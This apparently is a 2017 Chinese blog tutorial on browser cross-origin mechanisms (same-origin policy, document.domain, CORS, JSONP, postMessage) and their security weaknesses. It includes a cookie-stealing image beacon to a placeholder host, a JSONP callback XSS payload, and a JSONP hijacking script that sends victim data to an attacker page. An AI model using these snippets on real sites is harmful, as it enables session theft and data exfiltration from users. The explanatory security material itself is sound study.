浅谈跨域

本文首发圈子
What matters in life is not what happens to you but what you remember and how you remember it.
生命中真正重要的不是你遭遇了什么,而是你记住了哪些事,又是如何铭记的

0x00 同源


一般由 域名或ip 端口 协议决定 同源策略(SOP)

影响范围包括 :HTTP 请求目标,XMLHttpRequest ,XSLT,XBL等

同源策略没有禁止script等标签执行,而是禁止读写response内容

对于Chrome firefox 从https到http跨域请求会被拦截的

一般 js/css/jpg/png等不受SOP限制

例如 a.com下加载b.com/b.js,b.js源为a.com

0x01 xss src标签


增加 html 标签 可以跨域 这些带有”src”属性的标签每次加载的时候,实际上是由浏览器发起一个get请求 但不能读写返回内容,即response

<script src=""> 
<img> 
<iframe>
<video> 
<audio>
<embed>
<object data="">
<applet code="">
<link rel="stylesheet" href="">
<frame>

@font-face 引入跨域字体 (来自sn00py表格的姿势)

  <style type="text/css">
    @font-face {
      src: url("http://developer.mozilla.org/@api/deki/files/2934/=VeraSeBd.ttf");
    }
  </style>

等标签可以跨域请求资源,例如

img =newImage();
img.src="http://xxx/index.php?do=api&amp;id={projectId}&amp;cookie="+ escape(document.cookie) +"&amp;location="+ escape(window.location.href) +"&amp;top="+ escape(top.location.href) +"&amp;address="+ escape(l);
img.width = 0;
img.height = 0;

0x02 document.domain

AJAX 中的XMLHttpRequest 对象限制跨域, 设置document.domain实现跨域 , a.xxx.com和b.xxx.com,当两个网站通过javascript操作DOM接口 document.domain=’xxx.com’ 将网站的域设置为xxx.com 载入iframe后, 子域名之间可以跨域(子域协议端口也必须一致).

在a.xxx.com/1.html中有以下code

<iframe id="iframe" src="http://b.xxx.com/2.html onload = sss()"></iframe>
<script type="text/javascript">
    document.domain = 'xxx.com';//设置成主域
    function sss(){
        //执行操作
    }
</script>

在b.xxx.com/2.html

<script type="text/javascript">
    document.domain = 'xxx.com';
</script>

0x03 跨域资源共享 (Cross-origin resource sharing)

CORS 通信过程,是浏览器自动完成的,目前浏览器基本都支持CORS,支持GET POST 等请求,通过服务器设置即可跨域通信,设置

CORS请求分为简单请求 非简单请求

简单请求设置

Access-Control-Allow-Origin: *              # 必须字段,允许所有域名访问
Access-Control-Allow-Credentials 			# 可选,表示是否允许发送cookie
Access-Control-Expose-Headers               # 可选,CORS请求时,XMLHttpRequest对象的getResponseHeader()方法只能拿到6个基本字段:Cache-Control、Content-Language、Content-Type、Expires、Last-Modified、Pragma

非简单请求设置

Access-Control-Request-Method               # 必选 CORS请求方法
Access-Control-Request-Headers              #  发送到额外的头信息

CORS允许以下请求 (不是全部)

由XMLHttpRequest等发起的跨域请求
Web 字体,通过 @font-face 进行跨域调用
使用 drawImage 将 Images/video 画面绘制到 canvas
scripts标签
样式表 使用 CSSOM

通过CORS设置后 请求例子

<script type="text/javascript">
    var xhr = new XMLHttpRequest();
    xhr.open("GET","http://xxx.com/a/b/",true);
    xhr.send();
</script>

请求加origin:https://view.yahoo.com 返回Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://view.yahoo.com 存在跨域漏洞 http://www.freebuf.com/articles/web/158529.html https://yassineaboukir.com/blog/security-impact-of-a-misconfigured-cors-implementation/

0x04 JSONP跨域

JSOUP(JSON with Padding) jsoup 基本语法 callback({ “name”: “kwan” , “msg”: “获取成功” }); JSONP两部分组成:回调函数和里面的数据。回调函数是当响应到来时,应该在页面中调用的函数,一般是在发送过去的请求中指定。

简单例子如下

<script type="text/javascript">
    function callback(json){
        //处理获得的json数据
    }
</script>
<script src="http://xxx.com/data.php?a=callback"></script>

没有定义Content-Type为( Content-Type: application/json )callback输出点没过滤可导致 xss

服务端code

<?php
$callback = $_GET['callback'];
print $callback.'({"id" : "1","name" : "tom0li"});';
?>
	访问http://xxx.com/1.php?callback=test"><img/src=x onerror=alert(1)>

跨域

<script>
function test(data){
    var xhr = new XMLHttpRequest();
    var url = "http://xx.com/" + JSON.stringify(data);
    xhr.open("GET",url,true);
    xhr.send();
    }
</script>
<script src="http://xxx.com/1.php?callback=test"></script>

用户访问恶意页面时,执行恶意js 请求目标api 获取数据后通过回调函数封装json 传回恶意网站 接受ajax请求, 修改为 header(“Access-Control-Allow-Origin: *”);

如果在响应中API请求头X-Content-Type-Options被设置为nosniff,Content-Type必须设置为JavaScript(text/javascript, application/javascript, text/ecmascript等.)才能在所有浏览器中运行。

jsonp劫持 校验Referer时

https 发送请求 到 http 无referer 使用 data Url 即可无Referer请求 例如 data:text/plain;….. 省略号内可以执行js

<iframe src="data:text/plain;base64code(回调函数定义以及请求)"></iframe>

以下标签也可以

iframe (在src属性中) – Internet Explorer下不工作
embed (在src属性中) – Internet Explorer及Microsoft Edge下不工作
object (在data属性中) – Internet Explorer及Microsoft Edge下不工作

也可js伪协议无Referer请求

漏洞寻找 :爬虫后 搜索 url 中的callback 或json关键字

0x05 window.postMesage

两个窗口之间传数据,必须一个以iframe存在另一个,或window.open或链接打开 postMessage的使用方法: otherWindow.postMessage(message, targetOrigin);

otherWindow: 指目标窗口,也就是给哪个window发消息,是 window.frames 属性的成员或者由 window.open 方法创建的窗口
message: 是要发送的消息,类型为 String,Object (IE8、9 不支持),数字、json
targetOrigin: 是接收方URl,恶意使用时设置为 * 
transfer 可选  是一串和message 同时传递的 Transferable 对象. 这些对象的所有权将被转移给消息的接收方,而发送一方将不再保有所有权
<html>
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <title>父页面</title>
    <script>
    function sendIt(){
        document.getElementById("iframe").contentWindow.postMessage(document.getElementById("ms  g").value,
                "http://127.0.0.1/2.html");
            e.preventDefault();
    }
    </script>
</head>
<body>
    <iframe src="http://127.0.0.1/2.html" id="iframe"></iframe>

        <input type="text" id="msg" value="Message to send"/>
        <input type="button" value="Send" onclick="sendIt()"/>
</body>
</html>
<html> 
 <head> 
 <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> 
 <title>子页面信息</title> 
    <script>
    window.addEventListener("message",function(e){
        document.getElementById("content").textContent += 
            "said"+e.data;
        },false);
    </script>
 </head> 
 <body> 
     <div id="content"></div> 
 </body> 
 </html>

接受发送都应校验源

0x06 跨域

  • URl多种类型
  • java 6,7设计缺陷 同ip认为同域
  • 本地文件缺陷 本地文件访问其他文件
  • IE URL添加到信任网站,无视同源;IE 不同端口同源
  • 改变自身为父域

0x07 总结

flash 跨域 ,浏览器绕过几乎没谈,web洞与跨域联系紧密,需要bypass浏览器,服务端限制

扩展

http://www.freebuf.com/column/166232.html

Written on November 11, 2017